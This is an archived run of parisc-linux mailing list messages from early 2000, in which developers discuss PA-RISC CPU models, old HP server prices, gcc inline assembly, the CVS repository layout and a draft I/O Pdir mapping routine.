Had me a look at the HW database, and it says the 375 carries a 'PA7000'
processor.  (As a side note, the link for this in the database,
"http://216.208.98.4/view.php3?type=cpu&name=PA7000 (PCX-S)", made my proxy
server unhappy.  Dropping the " (PCX-S)" off the end of it helped.)

Is a PA7000 not a PA-RISC chip?

Showing my ignorance,

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert Womack" <rwomack@gatesarrow.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 16:03:53 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <000a01bf82f8$7ccb1ed0$23d81c0a@yw56140.arrow.com>
References: <20000301074847.A13653@neep.com.au>
Reply-To: <rwomack@gatesarrow.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618801 30830 80.91.229.3 (22 Nov 2014 01:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:21 +0000 (UTC)
To: "'Andrew Shugg'" <andrew@neep.com.au>, <parisc-linux@thepuffingroup.com>
Original-X-From: rwomack@gatesarrow.com  Tue Feb 29 18:11:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12462
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 18:11:57 -0700
Original-Received: (qmail 26980 invoked by uid 15267); 1 Mar 2000 00:12:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26972 invoked from network); 1 Mar 2000 00:12:52 -0000
Original-Received: from gatesarrow.gatesarrow.com (HELO ns.gatesarrow.com) (38.242.100.2)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 00:12:52 -0000
Original-Received: by ns.gatesarrow.com; id SAA08391; Tue, 29 Feb 2000 18:54:25 -0500 (EST)
Original-Received: from mail.gatesarrow.com(10.8.16.2) by gatesarrow.gatesarrow.com via smap (V4.2)
	id xma008328; Tue, 29 Feb 00 18:50:12 -0500
Original-Received: from yw56140 (localhost [127.0.0.1])
	by mail.gatesarrow.com (8.8.8+Sun/8.8.8) with SMTP id TAA10716;
	Tue, 29 Feb 2000 19:08:35 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
In-reply-to: <20000301074847.A13653@neep.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:6924

Andrew,

   The PA7000 is indeed a PA-RISC microprocessor, a 32biter.  The series
that begin with 8 (PA8n00) are the 64bit types.

Regards,
            rob womack

-----Original Message-----
From: Andrew Shugg [mailto:andrew@neep.com.au]
Sent: Tuesday, February 29, 2000 6:49 PM
To: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] Value of an old K-class server?


First of all, thanks to two Robs (Womack and Hoppe), Willy and Grant for
their feedback.  With any luck I'll be able to talk 'em into a cheap deal -
especially seeing as it's costing them a fair whack per month for floor
space
rental in a data centre, even though it's switched off ...

Willy also said:

> 300 series... aarrrgghh :-)  300/400 series machines are m68k based.
> We are sharing their HIL keyboard driver (share in the sense of `copied
> and made changes but will merge back later' sense), and Steve Shack
> mentioned something about the 300-series STI interface recently.

I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
Certainly there have been numerous people on this list talking about getting
their 315's or whatever to boot the parisc-linux kernel.

Had me a look at the HW database, and it says the 375 carries a 'PA7000'
processor.  (As a side note, the link for this in the database,
"http://216.208.98.4/view.php3?type=cpu&name=PA7000 (PCX-S)", made my proxy
server unhappy.  Dropping the " (PCX-S)" off the end of it helped.)

Is a PA7000 not a PA-RISC chip?

Showing my ignorance,

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 19:17:12 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20000229191712.L9944@thepuffingroup.com>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com> <20000301074847.A13653@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618801 30832 80.91.229.3 (22 Nov 2014 01:13:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: willy@thepuffingroup.com  Tue Feb 29 18:16:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12659
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 18:16:26 -0700
Original-Received: (qmail 29671 invoked by uid 15267); 1 Mar 2000 00:17:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29641 invoked from network); 1 Mar 2000 00:17:23 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 00:17:23 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA19776;
	Tue, 29 Feb 2000 19:17:12 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000301074847.A13653@neep.com.au>; from Andrew Shugg on Wed, Mar 01, 2000 at 07:48:49AM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:6925

On Wed, Mar 01, 2000 at 07:48:49AM +0800, Andrew Shugg wrote:
> I'm a bit confused by this.  I thought the HP 375 was a PA-RISC thingy.
> Certainly there have been numerous people on this list talking about getting
> their 315's or whatever to boot the parisc-linux kernel.

Do you perhaps mean the 735 and 715?

> Had me a look at the HW database, and it says the 375 carries a 'PA7000'
> processor.  (As a side note, the link for this in the database,
> "http://216.208.98.4/view.php3?type=cpu&name=PA7000 (PCX-S)", made my proxy
> server unhappy.  Dropping the " (PCX-S)" off the end of it helped.)

This is a bug which we fixed earlier this afternoon (that should have
been `%20' instead of the space character).  There are still pending
changes to the hw database that will make it closer to being correct.
At least the PA8000/8200/8500 chips should be correct (there may be
omissions, but there should not be incorrect chips in those categories).

> Is a PA7000 not a PA-RISC chip?

Yes, it is.  To complicate matters, there are PA7000 CPUs which implement
the PA1.0 architecture (PCX) and PA7000 CPUs which implement the PA1.1
architecture (PCX-S).  The intention is to support the latter and not
the former.

> Showing my ignorance,

Less than a year ago, I didn't know the difference between a PA1.0 and
PA1.1 machine :-)


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Tue, 29 Feb 2000 23:35:32 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <38BC9E14.4ECB899B@storm.ca>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618802 30837 80.91.229.3 (22 Nov 2014 01:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: sandy@storm.ca  Tue Feb 29 22:35:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA14277
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Feb 2000 22:35:34 -0700
Original-Received: (qmail 20980 invoked by uid 15267); 1 Mar 2000 04:36:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20972 invoked from network); 1 Mar 2000 04:36:30 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.239.69)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 04:36:30 -0000
Original-Received: from storm.ca (ppp005.ottawa.storm.ca [209.87.227.5])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id XAA22760;
	Tue, 29 Feb 2000 23:33:48 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6926

willy@thepuffingroup.com wrote:
> 
> On Wed, Mar 01, 2000 at 01:06:47AM +0800, Andrew Shugg wrote:
> > The lowest-numbered K class machine I can find on HP's website is a K220.
> > I'm fairly sure the machine I've looked at is a K200, but if this model
> > never existed then it's probably a 220.  =)
> 
> I've just been going through The List of hardware, bashing the hw database
> into something more sane.  The K200 did exist, codenamed `Kittyhawk' with
> a 100MHz PA7200 CPU in it.

I don't know these servers, but I've a friend who deals machines of about
that generation, buying them in truckload lots and reselling. Recent
prices from him, in Canadian $:

         RAM	disk	monitor	quantity
712/60   128	no	no	16	$ 50 apiece.
715/100  256    no      19"     1	$200


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Performance
Date: Tue, 29 Feb 2000 23:50:54 -0600 (CST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002292345250.10407-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618802 30843 80.91.229.3 (22 Nov 2014 01:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Wed Mar  1 05:45:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA16670
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 05:45:57 -0700
Original-Received: (qmail 20114 invoked by uid 15267); 1 Mar 2000 11:46:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20095 invoked from network); 1 Mar 2000 11:46:55 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.130.8)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 11:46:55 -0000
Original-Received: from localhost (IDENT:catfish@localhost.localdomain [127.0.0.1])
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id XAA10418
	for <parisc-linux@thepuffingroup.com>; Tue, 29 Feb 2000 23:50:54 -0600
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:6927

 Hello, 
  I know this is off topic for the kernel but I'd like to say a little. 

 I have a 715/50 and it's been churning along with HP-UX 9.0 (not Y2K so
HP says) It's been running setiathome as is a P166 Intel and I'm actually
impressed by the math power of that 50mhz chip it outpermes the P166 about
3% . 
 Just thought a few would like to know.

 One other thing I got a 715/75 and it's framebuffer is not 1024x768 as is
the 715/50 any suggestions as to what it might be. 
Thanks 
Terry



From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] __asm__
Date: Wed, 1 Mar 2000 09:07:01 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20000301090701.M9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618802 30850 80.91.229.3 (22 Nov 2014 01:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Mar  1 09:37:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18309
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 09:37:26 -0700
Original-Received: (qmail 5760 invoked by uid 15267); 1 Mar 2000 15:38:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5745 invoked from network); 1 Mar 2000 15:38:25 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 15:38:25 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id JAA26186
	for parisc-linux@thepuffingroup.com; Wed, 1 Mar 2000 09:07:01 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6928


Grant was asking where to find documentation on __asm__, and I think
this is useful to enough people that it's worth posting here.

__asm__ is a gcc extension.  It allows you to write inline assembler in
your C source file rather than forcing you to write a separate function
in a .S file and call it.  The original documnetation can be found by
typing `info gcc' (make sure you have the gcc info files installed
or you'll just get the manpage).  Follow the menus: `C Extensions',
``Extended Asm'.  I find the documentation pretty obscure, and I have
to think very carefully every time I write an __asm__ statement.


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __asm__
Date: Wed, 1 Mar 2000 16:50:37 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000301165037.U812@abacus.local>
References: <20000301090701.M9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618803 30857 80.91.229.3 (22 Nov 2014 01:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@inwestnet.de  Wed Mar  1 09:51:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18587
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 09:51:39 -0700
Original-Received: (qmail 15908 invoked by uid 15267); 1 Mar 2000 15:52:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15891 invoked from network); 1 Mar 2000 15:52:38 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 15:52:38 -0000
Original-Received: (qmail 11504 invoked from network); 1 Mar 2000 15:51:46 -0000
Original-Received: from port0246.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.246)
  by mail.ginko.net with SMTP; 1 Mar 2000 15:51:46 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id QAA06561;
	Wed, 1 Mar 2000 16:51:44 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <20000301090701.M9944@thepuffingroup.com>; from willy@thepuffingroup.com on Wed, Mar 01, 2000 at 09:07:01AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6929

> __asm__ is a gcc extension.  It allows you to write inline assembler in
> your C source file rather than forcing you to write a separate function
> in a .S file and call it.  The original documnetation can be found by
> typing `info gcc' (make sure you have the gcc info files installed
> or you'll just get the manpage).  Follow the menus: `C Extensions',
> ``Extended Asm'.  I find the documentation pretty obscure, and I have
> to think very carefully every time I write an __asm__ statement.

info '(gcc) Extended Asm' if you don't want to search for it.

The documentation definitely isn't very good, so I would propose to write
to the list whenever you need an asm statements and aren't sure how
exactly to do it (most likely you don't even need the asm statement).

	Philipp


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs setup
Date: Wed, 1 Mar 2000 11:39:48 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20000301113948.N9944@thepuffingroup.com>
References: <H00007e30eea8638@MHS>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618803 30862 80.91.229.3 (22 Nov 2014 01:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: mike_clapper@hp.com
Original-X-From: willy@thepuffingroup.com  Wed Mar  1 11:37:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19599
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 11:37:31 -0700
Original-Received: (qmail 29202 invoked by uid 15267); 1 Mar 2000 17:38:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29191 invoked from network); 1 Mar 2000 17:38:28 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 17:38:28 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA27749;
	Wed, 1 Mar 2000 11:39:48 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <H00007e30eea8638@MHS>; from mike_clapper@hp.com on Tue, Feb 29, 2000 at 01:32:39PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6930

On Tue, Feb 29, 2000 at 01:32:39PM -0500, mike_clapper@hp.com wrote:


You sent your mail as RTF for some reason -- I managed to read it, but I
can't reply to it properly.

The problem you are experiencing is because the recipe you read is wrong.
It needs to be updated to reflect reality :-)

I'll add a section detailing which repositories contain what, something
along these lines:

binutils	Binutils 2.9 including hppa-linux (ELF)
binutils-old	Old Binutils
boot_code	?
boot_tools	?
egcs-old	Old EGCS 1.1.2, implementing SOM hppa-linux
gcc		EGCS 2.9 including hppa-linux (ELF)
glibc		GNU C Library including hppa-linux
linker		HP SOM linker
linux		Linux 2.2.  Obsolete, no longer in development.
linux-2.3	Linux 2.3.  Current development branch.
minilibc	A smaller libc which was easier to get going initially.
palo		PA/Linux boot loader.
userspace	Some small userspace utilities
website		The source for http://www.thepuffingroup.com/parisc/


From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make Image currently fails here too.
Date: Wed, 1 Mar 2000 13:39:16 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0003011338010.23746-100000@mojo.calyx.net>
References: <20000229202653.2087.qmail@web508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618803 30864 80.91.229.3 (22 Nov 2014 01:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Mar  1 12:39:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20478
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 12:39:27 -0700
Original-Received: (qmail 10253 invoked by uid 15267); 1 Mar 2000 18:40:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10244 invoked from network); 1 Mar 2000 18:40:27 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 18:40:27 -0000
Original-Received: (qmail 8191 invoked from network); 1 Mar 2000 18:39:20 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (a3cepyhfa0ulqng5hknx@208.132.136.2)
  by mail.calyx.net with SMTP; 1 Mar 2000 18:39:20 -0000
In-Reply-To: <20000229202653.2087.qmail@web508.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6931


My unsatisfied symbols are different, though:

ld: Unsatisfied symbols:
   fcacheline (code)
   pcacheline (code)

--
Brian S. Julin



From - Thu Nov 08 21:12:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sba_io_pdir_entry()
Date: Wed, 01 Mar 2000 11:24:44 -0800
Lines: 85
Approved: news@gmane.org
Message-ID: <200003011924.LAA09530@milano.cup.hp.com>
References: <20000301165037.U812@abacus.local>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618803 30866 80.91.229.3 (22 Nov 2014 01:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:23 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: grundler@cup.hp.com  Wed Mar  1 13:57:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA21282
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 13:57:57 -0700
Original-Received: (qmail 2686 invoked by uid 15267); 1 Mar 2000 19:58:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2669 invoked from network); 1 Mar 2000 19:58:57 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Mar 2000 19:58:57 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 9C7E31091; Wed,  1 Mar 2000 11:23:17 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id LAA09530; Wed, 1 Mar 2000 11:24:45 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 01 Mar 2000 16:50:37 PST."
             <20000301165037.U812@abacus.local> 
Xref: news.gmane.org gmane.linux.ports.parisc:6932

Philipp Rumpf wrote:
> The documentation definitely isn't very good, so I would propose to write
> to the list whenever you need an asm statements and aren't sure how
> exactly to do it (most likely you don't even need the asm statement).

Ok. Let's try it.

I'm working on the code which generates/writes the I/O Pdir entry
for the "sba" I/O Pdir. It will be called for every physical page
which needs to be mapped for DMA.

Here are some constraints:
o I'd like to have as much of this in 'C' as possible without
  compromising performance.
o This code will probably only be called from two (maybe four)
  locations that are variants of the performance path.
o Will only be executed on PA2.0 processor - could be running
  in narrow or wide mode (ie 32 or 64-bit kernel binary).

I haven't read the "info gcc" stuff yet.
But here's what I've cooked up so far:

/*
* SBA Mapping Routine
*
* Given a virtual address (vba, arg2) and space id, (sid, arg1)
* init_io_pdir_entry() loads the I/O PDIR entry pointed to by
* pdir_ptr (arg0). Each IO Pdir entry consists of 8 bytes as
* shown below (MSB == bit 0):
*
*  0                    19                                 51   55       63
* +-+---------------------+----------------------------------+----+--------+
* |V|        U            |            PPN[43:12]            | U  |   VI   |
* +-+---------------------+----------------------------------+----+--------+
*
*  V  == Valid Bit
*  U  == Unused
* PPN == Physical Page Number
* VI  == Virtual Index
*
* The physical address fields are filled with the results of the LPA
* instruction.  The virtual index field is filled with the results of
* of the LCI (Load Coherence Index) instruction.  The 8 bits used for
* the virtual index are bits 12:19 of the value returned by LCI.
*
* We need to pre-swap the bytes since PCX-W is Big Endian.
*/

void __inline__ sba_io_pdir_entry(u64_t *pdir_ptr, space_t sid, void *vba)
{
        register u64_t tmp;

        mtsp(sid,1);
        __asm__("lpa (%sr1,%1),%0"      /* Load the physical address */
                : "=r" (tmp) : "r" (vba));

        tmp &= ~0xfffUL;                /* clear page offset bits */

        __asm__( "depdi 0x1,0,1,%0"             /* Set enable bit */
                "lci (%sr1, %1),%r29\n\t"       /* Load coherent index */
                "extru %r29,19,8,%r29\n\t"      /* right shift coherent index */
                "depd %r29,63,8,%0"             /* insert coherent index */

                : "=&r" (tmp)   /* output */
                : "r" (vba) /* input */
                : "r29" /* side effects? */
                )

        *pdir_ptr = cpu_to_le64(tmp);   /* swap and store into I/O Pdir */
}


Side note: should "space_t" be "unsigned long" or does parisc-linux
define something already for space ID's?

I would prefer not to assume space ID is always zero or something else
hard coded.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: Wed, 01 Mar 2000 13:28:42 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200003012128.NAA09977@milano.cup.hp.com>
References: <yq1itzr9zwt.fsf@leyland.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618804 30869 80.91.229.3 (22 Nov 2014 01:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:24 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: grundler@cup.hp.com  Wed Mar  1 15:27:26 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA21993
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Mar 2000 15:27:26 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 7F97E104
	for <parisc-linux@puffin.external.hp.com>; Wed,  1 Mar 2000 14:28:46 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id NAA09977; Wed, 1 Mar 2000 13:28:43 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "14 Feb 2000 23:34:26 PST."
             <yq1itzr9zwt.fsf@leyland.socsci.auc.dk> 
Xref: news.gmane.org gmane.linux.ports.parisc:6933


One more update for HP-UX impaired folks (like me)

"Martin K. Petersen" wrote:
...
> Unpack the nfsroot tarball in /tftpboot and rename the unpacked
> directory (mybox) to the hostname of your box.

[ Just a reminder to find my previous update regarding HP-UX
  vs linux mknod. I still don't know for sure what I posted
  is correct. ]

...
